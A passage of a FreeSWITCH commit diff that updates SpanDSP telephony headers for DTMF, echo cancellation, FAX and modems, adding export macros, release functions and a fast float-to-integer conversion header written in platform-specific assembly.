 /*! \brief Change the transmit on and off time for a DTMF tone generator context.
     \param s The DTMF generator context.
     \param on-time The on time, in ms.
     \param off_time The off time, in ms. */
-void dtmf_tx_set_timing(dtmf_tx_state_t *s, int on_time, int off_time);
+SPAN_DECLARE(void) dtmf_tx_set_timing(dtmf_tx_state_t *s, int on_time, int off_time);
 
 /*! \brief Initialise a DTMF tone generator context.
     \param s The DTMF generator context.
     \return A pointer to the DTMF generator context. */
-dtmf_tx_state_t *dtmf_tx_init(dtmf_tx_state_t *s);
+SPAN_DECLARE(dtmf_tx_state_t *) dtmf_tx_init(dtmf_tx_state_t *s);
 
+/*! \brief Release a DTMF tone generator context.
+    \param s The DTMF tone generator context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) dtmf_tx_release(dtmf_tx_state_t *s);
+
 /*! \brief Free a DTMF tone generator context.
     \param s The DTMF tone generator context.
     \return 0 for OK, else -1. */
-int dtmf_tx_free(dtmf_tx_state_t *s);
+SPAN_DECLARE(int) dtmf_tx_free(dtmf_tx_state_t *s);
 
 /*! Set a optional realtime callback for a DTMF receiver context. This function
     is called immediately a confirmed state change occurs in the received DTMF. It
@@ -209,9 +146,9 @@
     \param callback Callback routine used to report the start and end of digits.
     \param user_data An opaque pointer which is associated with the context,
            and supplied in callbacks. */
-void dtmf_rx_set_realtime_callback(dtmf_rx_state_t *s,
-                                   tone_report_func_t callback,
-                                   void *user_data);
+SPAN_DECLARE(void) dtmf_rx_set_realtime_callback(dtmf_rx_state_t *s,
+                                                 tone_report_func_t callback,
+                                                 void *user_data);
 
 /*! \brief Adjust a DTMF receiver context.
     \param s The DTMF receiver context.
@@ -221,11 +158,11 @@
     \param reverse_twist Acceptable reverse twist, in dB. < 0 to leave unchanged.
     \param threshold The minimum acceptable tone level for detection, in dBm0.
            <= -99 to leave unchanged. */
-void dtmf_rx_parms(dtmf_rx_state_t *s,
-                   int filter_dialtone,
-                   int twist,
-                   int reverse_twist,
-                   int threshold);
+SPAN_DECLARE(void) dtmf_rx_parms(dtmf_rx_state_t *s,
+                                 int filter_dialtone,
+                                 int twist,
+                                 int reverse_twist,
+                                 int threshold);
 
 /*! Process a block of received DTMF audio samples.
     \brief Process a block of received DTMF audio samples.
@@ -233,7 +170,7 @@
     \param amp The audio sample buffer.
     \param samples The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int dtmf_rx(dtmf_rx_state_t *s, const int16_t amp[], int samples);
+SPAN_DECLARE(int) dtmf_rx(dtmf_rx_state_t *s, const int16_t amp[], int samples);
 
 /*! Get the status of DTMF detection during processing of the last audio
     chunk.
@@ -242,14 +179,14 @@
     \param s The DTMF receiver context.
     \return The current digit status. Either 'x' for a "maybe" condition, or the
             digit being detected. */
-int dtmf_rx_status(dtmf_rx_state_t *s);
+SPAN_DECLARE(int) dtmf_rx_status(dtmf_rx_state_t *s);
 
 /*! \brief Get a string of digits from a DTMF receiver's output buffer.
     \param s The DTMF receiver context.
     \param digits The buffer for the received digits.
     \param max The maximum  number of digits to be returned,
     \return The number of digits actually returned. */
-size_t dtmf_rx_get(dtmf_rx_state_t *s, char *digits, int max);
+SPAN_DECLARE(size_t) dtmf_rx_get(dtmf_rx_state_t *s, char *digits, int max);
 
 /*! \brief Initialise a DTMF receiver context.
     \param s The DTMF receiver context.
@@ -259,14 +196,19 @@
     \param user_data An opaque pointer which is associated with the context,
            and supplied in callbacks.
     \return A pointer to the DTMF receiver context. */
-dtmf_rx_state_t *dtmf_rx_init(dtmf_rx_state_t *s,
-                              digits_rx_callback_t callback,
-                              void *user_data);
+SPAN_DECLARE(dtmf_rx_state_t *) dtmf_rx_init(dtmf_rx_state_t *s,
+                                             digits_rx_callback_t callback,
+                                             void *user_data);
 
+/*! \brief Release a DTMF receiver context.
+    \param s The DTMF receiver context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) dtmf_rx_release(dtmf_rx_state_t *s);
+
 /*! \brief Free a DTMF receiver context.
     \param s The DTMF receiver context.
     \return 0 for OK, else -1. */
-int dtmf_rx_free(dtmf_rx_state_t *s);
+SPAN_DECLARE(int) dtmf_rx_free(dtmf_rx_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/echo.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/echo.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/echo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,7 +24,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: echo.h,v 1.16 2008/09/04 14:40:05 steveu Exp $
+ * $Id: echo.h,v 1.19 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -196,23 +196,30 @@
     \param len The length of the canceller, in samples.
     \return The new canceller context, or NULL if the canceller could not be created.
 */
-echo_can_state_t *echo_can_create(int len, int adaption_mode);
+SPAN_DECLARE(echo_can_state_t *) echo_can_init(int len, int adaption_mode);
 
+/*! Release a voice echo canceller context.
+    \param ec The echo canceller context.
+    \return 0 for OK, else -1.
+*/
+SPAN_DECLARE(int) echo_can_release(echo_can_state_t *ec);
+
 /*! Free a voice echo canceller context.
     \param ec The echo canceller context.
+    \return 0 for OK, else -1.
 */
-void echo_can_free(echo_can_state_t *ec);
+SPAN_DECLARE(int) echo_can_free(echo_can_state_t *ec);
 
 /*! Flush (reinitialise) a voice echo canceller context.
     \param ec The echo canceller context.
 */
-void echo_can_flush(echo_can_state_t *ec);
+SPAN_DECLARE(void) echo_can_flush(echo_can_state_t *ec);
 
 /*! Set the adaption mode of a voice echo canceller context.
     \param ec The echo canceller context.
     \param adaption_mode The mode.
 */
-void echo_can_adaption_mode(echo_can_state_t *ec, int adaption_mode);
+SPAN_DECLARE(void) echo_can_adaption_mode(echo_can_state_t *ec, int adaption_mode);
 
 /*! Process a sample through a voice echo canceller.
     \param ec The echo canceller context.
@@ -220,16 +227,16 @@
     \param rx The received audio sample.
     \return The clean (echo cancelled) received sample.
 */
-int16_t echo_can_update(echo_can_state_t *ec, int16_t tx, int16_t rx);
+SPAN_DECLARE(int16_t) echo_can_update(echo_can_state_t *ec, int16_t tx, int16_t rx);
 
 /*! Process to high pass filter the tx signal.
     \param ec The echo canceller context.
     \param tx The transmitted auio sample.
     \return The HP filtered transmit sample, send this to your D/A.
 */
-int16_t echo_can_hpf_tx(echo_can_state_t *ec, int16_t tx);
+SPAN_DECLARE(int16_t) echo_can_hpf_tx(echo_can_state_t *ec, int16_t tx);
 
-void echo_can_snapshot(echo_can_state_t *ec);
+SPAN_DECLARE(void) echo_can_snapshot(echo_can_state_t *ec);
 
 #if defined(__cplusplus)
 }

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/expose.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/expose.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/expose.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/expose.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * expose.h - Expose the internal structures of spandsp, for users who
+ *            really need that.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2008 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: expose.h,v 1.13 2009/05/16 03:34:45 steveu Exp $
+ */
+
+/*! \file */
+
+/* TRY TO ONLY INCLUDE THIS IF YOU REALLY REALLY HAVE TO */
+
+#if !defined(_SPANDSP_EXPOSE_H_)
+#define _SPANDSP_EXPOSE_H_
+
+#include <spandsp/private/logging.h>
+#include <spandsp/private/schedule.h>
+#include <spandsp/private/bitstream.h>
+#include <spandsp/private/queue.h>
+#include <spandsp/private/awgn.h>
+#include <spandsp/private/noise.h>
+#include <spandsp/private/bert.h>
+#include <spandsp/private/tone_generate.h>
+#include <spandsp/private/bell_r2_mf.h>
+#include <spandsp/private/sig_tone.h>
+#include <spandsp/private/dtmf.h>
+#include <spandsp/private/g711.h>
+#include <spandsp/private/g722.h>
+#include <spandsp/private/g726.h>
+#include <spandsp/private/lpc10.h>
+#include <spandsp/private/gsm0610.h>
+#include <spandsp/private/oki_adpcm.h>
+#include <spandsp/private/ima_adpcm.h>
+#include <spandsp/private/hdlc.h>
+#include <spandsp/private/time_scale.h>
+#include <spandsp/private/super_tone_tx.h>
+#include <spandsp/private/super_tone_rx.h>
+#include <spandsp/private/silence_gen.h>
+#include <spandsp/private/async.h>
+#include <spandsp/private/fsk.h>
+#include <spandsp/private/v29rx.h>
+#include <spandsp/private/v29tx.h>
+#include <spandsp/private/v17rx.h>
+#include <spandsp/private/v17tx.h>
+#include <spandsp/private/v22bis.h>
+#include <spandsp/private/v27ter_rx.h>
+#include <spandsp/private/v27ter_tx.h>
+#include <spandsp/private/modem_connect_tones.h>
+#include <spandsp/private/at_interpreter.h>
+#include <spandsp/private/fax_modems.h>
+#include <spandsp/private/t4.h>
+#include <spandsp/private/t30.h>
+#include <spandsp/private/fax.h>
+#include <spandsp/private/t38_core.h>
+#include <spandsp/private/t38_non_ecm_buffer.h>
+#include <spandsp/private/t38_gateway.h>
+#include <spandsp/private/t38_terminal.h>
+#include <spandsp/private/t31.h>
+#include <spandsp/private/v8.h>
+#include <spandsp/private/v18.h>
+#include <spandsp/private/v42.h>
+#include <spandsp/private/v42bis.h>
+#include <spandsp/private/adsi.h>
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/fast_convert.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/fast_convert.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/fast_convert.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/fast_convert.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,438 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * fast_convert.h - Quick ways to convert floating point numbers to integers
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: fast_convert.h,v 1.8 2009/07/10 13:15:56 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_FAST_CONVERT_H_)
+#define _SPANDSP_FAST_CONVERT_H_
+
+#if defined(__cplusplus)
+extern "C"
+{
+#endif
+
+/* The following code, to handle issues with lrint() and lrintf() on various
+ * platforms, is adapted from similar code in libsndfile, which is:
+ *
+ * Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License as published by
+ * the Free Software Foundation; either version 2.1 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ */
+
+/*
+ *    On Intel Pentium processors (especially PIII and probably P4), converting
+ *    from float to int is very slow. To meet the C specs, the code produced by
+ *    most C compilers targeting Pentium needs to change the FPU rounding mode
+ *    before the float to int conversion is performed.
+ *
+ *    Changing the FPU rounding mode causes the FPU pipeline to be flushed. It
+ *    is this flushing of the pipeline which is so slow.
+ *
+ *    Fortunately the ISO C99 specification defines the functions lrint, lrintf,
+ *    llrint and llrintf which fix this problem as a side effect.
+ *
+ *    On Unix-like systems, the configure process should have detected the
+ *    presence of these functions. If they weren't found we have to replace them
+ *    here with a standard C cast.
+ */
+
+/*
+ *    The C99 prototypes for these functions are as follows:
+ *
+ *        int rintf(float x);
+ *        int rint(double x);
+ *        long int lrintf(float x);
+ *        long int lrint(double x);
+ *        long long int llrintf(float x);
+ *        long long int llrint(double x);
+ *
+ *    The presence of the required functions are detected during the configure
+ *    process and the values HAVE_LRINT and HAVE_LRINTF are set accordingly in
+ *    the config file.
+ */
+
+#if defined(__CYGWIN__)
+#if !defined(__cplusplus)
+    /*
+     *    CYGWIN has lrint and lrintf functions, but they are slow and buggy:
+     *        http://sourceware.org/ml/cygwin/2005-06/msg00153.html
+     *        http://sourceware.org/ml/cygwin/2005-09/msg00047.html
+     *    The latest version of cygwin seems to have made no effort to fix this.
+     *    These replacement functions (pulled from the Public Domain MinGW
+     *    math.h header) replace the native versions.
+     */
+    static __inline__ long int lrint(double x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+
+        return retval;
+    }
+
+    static __inline__ long int lrintf(float x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+        return retval;
+    }
+#endif
+
+    /* The fastest way to convert is the equivalent of lrint() */
+    static __inline__ long int lfastrint(double x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+
+        return retval;
+    }
+
+    static __inline__ long int lfastrintf(float x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+        return retval;
+    }
+#elif defined(__GNUC__)
+
+#if defined(__i386__)
+    /* These routines are guaranteed fast on an i386 machine. Using the built in
+       lrint() and lrintf() should be similar, but they may not always be enabled.
+       Sometimes, especially with "-O0", you might get slow calls to routines. */
+    static __inline__ long int lfastrint(double x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+
+        return retval;
+    }
+
+    static __inline__ long int lfastrintf(float x)
+    {
+        long int retval;
+
+        __asm__ __volatile__
+        (
+            "fistpl %0"
+            : "=m" (retval)
+            : "t" (x)
+            : "st"
+        );
+        return retval;
+    }
+#elif defined(__x86_64__)
+    /* On an x86_64 machine, the fastest thing seems to be a pure assignment from a
+       double or float to an int. It looks like the design on the x86_64 took account
+       of the default behaviour specified for C. */
+    static __inline__ long int lfastrint(double x)
+    {
+        return (long int) (x);
+    }
+
+    static __inline__ long int lfastrintf(float x)
+    {
+        return (long int) (x);
+    }
+#elif defined(__ppc__)  ||   defined(__powerpc__)
+    static __inline__ long int lfastrint(register double x)
+    {
+        int res[2];
+
+        __asm__ __volatile__
+        (
+            "fctiw %1, %1\n\t"
+            "stfd %1, %0"
+            : "=m" (res)    /* Output */
+            : "f" (x)       /* Input */
+            : "memory"
+        );
+
+        return res[1];
+    }
+
+    static __inline__ long int lfastrintf(register float x)
+    {
+        int res[2];
+
+        __asm__ __volatile__
+        (
+            "fctiw %1, %1\n\t"
+            "stfd %1, %0"
+            : "=m" (res)    /* Output */
+            : "f" (x)       /* Input */
+            : "memory"
+        );
+
+        return res[1];
+    }
+#else
+    /* Fallback routines, for unrecognised platforms */
+    static __inline__ long int lfastrint(double x)
+    {
+        return (long int) x;
+    }
+
+    static __inline__ long int lfastrintf(float x)
+    {
+        return (long int) x;
+    }
+#endif
+
+#elif defined(_M_IX86)
+    /* Visual Studio i386 */
+    /*
+     *    Win32 doesn't seem to have the lrint() and lrintf() functions.
+     *    Therefore implement inline versions of these functions here.
+     */
+
+    __inline long int lrint(double x)
+    {
+        long int i;
+
+        _asm
+        {
+            fld x
+            fistp i
+        };
+        return i;
+    }
+
+    __inline long int lrintf(float x)
+    {
+        long int i;
+
+        _asm
+        {
+            fld x
+            fistp i
+        };
+        return i;
+    }
+
+    __inline float rintf(float flt)
+    {
+    	_asm
+    	{	fld flt
+    		frndint
+    	}
+    }
+
+    __inline double rint(double dbl)
+    {
+        _asm 
+    	{
+            fld dbl
+            frndint
+        }
+    }
+
+    __inline long int lfastrint(double x)
+    {
+        long int i;
+
+        _asm
+        {
+            fld x
+            fistp i
+        };
+        return i;
+    }
+
+    __inline long int lfastrintf(float x)
+    {
+        long int i;
+
+        _asm
+        {
+            fld x
+            fistp i
+        };
+        return i;
+    }
+#elif defined(_M_X64)
+    /* Visual Studio x86_64 */
+    /* x86_64 machines will do best with a simple assignment. */
+#include <intrin.h>
+
+    __inline long int lrint(double x)
+    {
+		return (long int)_mm_cvtsd_si64x( _mm_loadu_pd ((const double*)&x) );
+    }
+
+    __inline long int lrintf(float x)
+    {
+		return _mm_cvt_ss2si( _mm_load_ss((const float*)&x) );
+    }
+
+    __inline long int lfastrint(double x)
+    {
+        return (long int) (x);
+    }
+
+    __inline long int lfastrintf(float x)
+    {
+        return (long int) (x);
+    }
+#elif defined(__MWERKS__)  &&  defined(macintosh)
+    /* This MacOS 9 solution was provided by Stephane Letz */
+
+    long int __inline__ lfastrint(register double x)
+    {
+        long int res[2];
+
+        asm
+        {
+            fctiw x, x
+            stfd x, res
+        }
+        return res[1];
+    }
+
+    long int __inline__ lfastrintf(register float x)
+    {
+        long int res[2];
+
+        asm
+        {
+            fctiw x, x
+            stfd x, res
+        }
+        return res[1];
+    }
+#elif defined(__MACH__)  &&  defined(__APPLE__)  &&  (defined(__ppc__)  ||  defined(__powerpc__))
+    /* For Apple Mac OS/X - do recent versions still need this? */
+
+    static __inline__ long int lfastrint(register double x)
+    {
+        int res[2];
+
+        __asm__ __volatile__
+        (
+            "fctiw %1, %1\n\t"
+            "stfd %1, %0"
+            : "=m" (res)    /* Output */
+            : "f" (x)       /* Input */
+            : "memory"
+        );
+
+        return res[1];
+    }
+
+    static __inline__ long int lfastrintf(register float x)
+    {
+        int res[2];
+
+        __asm__ __volatile__
+        (
+            "fctiw %1, %1\n\t"
+            "stfd %1, %0"
+            : "=m" (res)    /* Output */
+            : "f" (x)       /* Input */
+            : "memory"
+        );
+
+        return res[1];
+    }
+#else
+    /* There is nothing else to do, but use a simple casting operation, instead of a real
+       rint() type function. Since we are only trying to use rint() to speed up conversions,
+       the accuracy issues related to changing the rounding scheme are of little concern
+       to us. */
+
+    #if !defined(__sgi)  &&  !defined(__sunos)  &&  !defined(__solaris)
+        #warning "No usable lrint() and lrintf() functions available."
+        #warning "Replacing these functions with a simple C cast."
+    #endif
+
+    static __inline__ long int lrint(double x)
+    {
+        return (long int) (x);
+    }
+
+    static __inline__ long int lrintf(float x)
+    {
+        return (long int) (x);
+    }
+
+    static __inline__ long int lfastrint(double x)
+    {
+        return (long int) (x);
+    }
+
+    static __inline__ long int lfastrintf(float x)
+    {
+        return (long int) (x);
+    }
+#endif
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif
+
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/fax.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/fax.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/fax.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax.h,v 1.35 2008/08/13 00:11:30 steveu Exp $
+ * $Id: fax.h,v 1.39 2009/03/13 12:59:26 steveu Exp $
  */
 
 /*! \file */
@@ -39,22 +39,6 @@
 
 typedef struct fax_state_s fax_state_t;
 
-/*!
-    Analogue line T.30 FAX channel descriptor. This defines the state of a single working
-    instance of an analogue line soft-FAX machine.
-*/
-struct fax_state_s
-{
-    /*! \brief The T.30 back-end */
-    t30_state_t t30;
-    
-    /*! \brief The analogue modem front-end */
-    fax_modems_state_t modems;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-};
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -68,8 +52,18 @@
     \return The number of samples unprocessed. This should only be non-zero if
             the software has reached the end of the FAX call.
 */
-int fax_rx(fax_state_t *s, int16_t *amp, int len);
+SPAN_DECLARE(int) fax_rx(fax_state_t *s, int16_t *amp, int len);
 
+/*! Apply fake T.30 receive processing when a block of audio samples is missing (e.g due
+    to packet loss).
+    \brief Apply fake T.30 receive processing.
+    \param s The FAX context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed. This should only be non-zero if
+            the software has reached the end of the FAX call.
+*/
+SPAN_DECLARE(int) fax_rx_fillin(fax_state_t *s, int len);
+
 /*! Apply T.30 transmit processing to generate a block of audio samples.
     \brief Apply T.30 transmit processing to generate a block of audio samples.
     \param s The FAX context.
@@ -78,7 +72,7 @@
     \return The number of samples actually generated. This will be zero when
             there is nothing to send.
 */
-int fax_tx(fax_state_t *s, int16_t *amp, int max_len);
+SPAN_DECLARE(int) fax_tx(fax_state_t *s, int16_t *amp, int max_len);
 
 /*! Select whether silent audio will be sent when FAX transmit is idle.
     \brief Select whether silent audio will be sent when FAX transmit is idle.
@@ -87,22 +81,29 @@
            idle. FALSE to transmit zero length audio when the FAX transmitter is idle. The default
            behaviour is FALSE.
 */
-void fax_set_transmit_on_idle(fax_state_t *s, int transmit_on_idle);
+SPAN_DECLARE(void) fax_set_transmit_on_idle(fax_state_t *s, int transmit_on_idle);
 
 /*! Select whether talker echo protection tone will be sent for the image modems.
     \brief Select whether TEP will be sent for the image modems.
     \param s The FAX context.
     \param use_tep TRUE if TEP should be sent.
 */
-void fax_set_tep_mode(fax_state_t *s, int use_tep);
+SPAN_DECLARE(void) fax_set_tep_mode(fax_state_t *s, int use_tep);
 
 /*! Get a pointer to the T.30 engine associated with a FAX context.
     \brief Get a pointer to the T.30 engine associated with a FAX context.
     \param s The FAX context.
     \return A pointer to the T.30 context, or NULL.
 */
-t30_state_t *fax_get_t30_state(fax_state_t *s);
+SPAN_DECLARE(t30_state_t *) fax_get_t30_state(fax_state_t *s);
 
+/*! Get a pointer to the logging context associated with a FAX context.
+    \brief Get a pointer to the logging context associated with a FAX context.
+    \param s The FAX context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) fax_get_logging_state(fax_state_t *s);
+
 /*! Initialise a FAX context.
     \brief Initialise a FAX context.
     \param s The FAX context.
@@ -110,19 +111,19 @@
            context is for an answering party.
     \return A pointer to the FAX context, or NULL if there was a problem.
 */
-fax_state_t *fax_init(fax_state_t *s, int calling_party);
+SPAN_DECLARE(fax_state_t *) fax_init(fax_state_t *s, int calling_party);
 
 /*! Release a FAX context.
     \brief Release a FAX context.
     \param s The FAX context.
     \return 0 for OK, else -1. */
-int fax_release(fax_state_t *s);
+SPAN_DECLARE(int) fax_release(fax_state_t *s);
 
 /*! Free a FAX context.
     \brief Free a FAX context.
     \param s The FAX context.
     \return 0 for OK, else -1. */
-int fax_free(fax_state_t *s);
+SPAN_DECLARE(int) fax_free(fax_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/fax_modems.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/fax_modems.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/fax_modems.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax_modems.h,v 1.5 2008/08/13 00:11:30 steveu Exp $
+ * $Id: fax_modems.h,v 1.11 2009/04/26 12:55:23 steveu Exp $
  */
 
 /*! \file */
@@ -30,106 +30,59 @@
 #if !defined(_SPANDSP_FAX_MODEMS_H_)
 #define _SPANDSP_FAX_MODEMS_H_
 
+enum
+{
+    FAX_MODEM_NONE = -1,
+    FAX_MODEM_FLUSH = 0,
+    FAX_MODEM_SILENCE_TX,
+    FAX_MODEM_SILENCE_RX,
+    FAX_MODEM_CED_TONE,
+    FAX_MODEM_CNG_TONE,
+    FAX_MODEM_NOCNG_TONE,
+    FAX_MODEM_V21_TX,
+    FAX_MODEM_V17_TX,
+    FAX_MODEM_V27TER_TX,
+    FAX_MODEM_V29_TX,
+    FAX_MODEM_V21_RX,
+    FAX_MODEM_V17_RX,
+    FAX_MODEM_V27TER_RX,
+    FAX_MODEM_V29_RX
+};
+
 /*!
     The set of modems needed for FAX, plus the auxilliary stuff, like tone generation.
 */
-typedef struct
-{
-    /*! TRUE is talker echo protection should be sent for the image modems */
-    int use_tep;
+typedef struct fax_modems_state_s fax_modems_state_t;
 
-    /*! If TRUE, transmit silence when there is nothing else to transmit. If FALSE return only
-        the actual generated audio. Note that this only affects untimed silences. Timed silences
-        (e.g. the 75ms silence between V.21 and a high speed modem) will alway be transmitted as
-        silent audio. */
-    int transmit_on_idle;
-
-    /*! \brief An HDLC context used when transmitting HDLC messages. */
-    hdlc_tx_state_t hdlc_tx;
-    /*! \brief An HDLC context used when receiving HDLC messages. */
-    hdlc_rx_state_t hdlc_rx;
-    /*! \brief A V.21 FSK modem context used when transmitting HDLC over V.21
-               messages. */
-    fsk_tx_state_t v21_tx;
-    /*! \brief A V.21 FSK modem context used when receiving HDLC over V.21
-               messages. */
-    fsk_rx_state_t v21_rx;
-    /*! \brief A V.17 modem context used when sending FAXes at 7200bps, 9600bps
-               12000bps or 14400bps */
-    v17_tx_state_t v17_tx;
-    /*! \brief A V.29 modem context used when receiving FAXes at 7200bps, 9600bps
-               12000bps or 14400bps */
-    v17_rx_state_t v17_rx;
-    /*! \brief A V.29 modem context used when sending FAXes at 7200bps or
-               9600bps */
-    v29_tx_state_t v29_tx;
-    /*! \brief A V.29 modem context used when receiving FAXes at 7200bps or
-               9600bps */
-    v29_rx_state_t v29_rx;
-    /*! \brief A V.27ter modem context used when sending FAXes at 2400bps or
-               4800bps */
-    v27ter_tx_state_t v27ter_tx;
-    /*! \brief A V.27ter modem context used when receiving FAXes at 2400bps or
-               4800bps */
-    v27ter_rx_state_t v27ter_rx;
-    /*! \brief Used to insert timed silences. */
-    silence_gen_state_t silence_gen;
-    /*! \brief CED or CNG generator */
-    modem_connect_tones_tx_state_t connect_tx;
-    /*! \brief CED or CNG detector */
-    modem_connect_tones_rx_state_t connect_rx;
-    /*! \brief */
-    dc_restore_state_t dc_restore;
-
-    /*! \brief The currently select receiver type */
-    int current_rx_type;
-    /*! \brief The currently select transmitter type */
-    int current_tx_type;
-
-    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
-    int rx_signal_present;
-    /*! \brief TRUE if a modem has trained correctly. */
-    int rx_trained;
-
-    /*! The current receive signal handler */
-    span_rx_handler_t *rx_handler;
-    void *rx_user_data;
-
-    /*! The current transmit signal handler */
-    span_tx_handler_t *tx_handler;
-    void *tx_user_data;
-
-    /*! The next transmit signal handler, for two stage transmit operations.
-        E.g. a short silence followed by a modem signal. */
-    span_tx_handler_t *next_tx_handler;
-    void *next_tx_user_data;
-
-    /*! The current bit rate of the transmitter. */
-    int tx_bit_rate;
-    /*! The current bit rate of the receiver. */
-    int rx_bit_rate;
-
-    /*! If TRUE, transmission is in progress */
-    int transmit;
-    /*! \brief Audio logging file handle for received audio. */
-    int audio_rx_log;
-    /*! \brief Audio logging file handle for transmitted audio. */
-    int audio_tx_log;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} fax_modems_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
 /* N.B. the following are currently a work in progress */
-int fax_modems_v17_v21_rx(void *user_data, const int16_t amp[], int len);
-int fax_modems_v27ter_v21_rx(void *user_data, const int16_t amp[], int len);
-int fax_modems_v29_v21_rx(void *user_data, const int16_t amp[], int len);
-fax_modems_state_t *fax_modems_init(fax_modems_state_t *s, void *user_data);
+SPAN_DECLARE(int) fax_modems_v17_v21_rx(void *user_data, const int16_t amp[], int len);
+SPAN_DECLARE(int) fax_modems_v27ter_v21_rx(void *user_data, const int16_t amp[], int len);
+SPAN_DECLARE(int) fax_modems_v29_v21_rx(void *user_data, const int16_t amp[], int len);
+SPAN_DECLARE(int) fax_modems_v17_v21_rx_fillin(void *user_data, int len);
+SPAN_DECLARE(int) fax_modems_v27ter_v21_rx_fillin(void *user_data, int len);
+SPAN_DECLARE(int) fax_modems_v29_v21_rx_fillin(void *user_data, int len);
+SPAN_DECLARE(void) fax_modems_start_rx_modem(fax_modems_state_t *s, int which);
 
+SPAN_DECLARE(void) fax_modems_set_tep_mode(fax_modems_state_t *s, int use_tep);
+
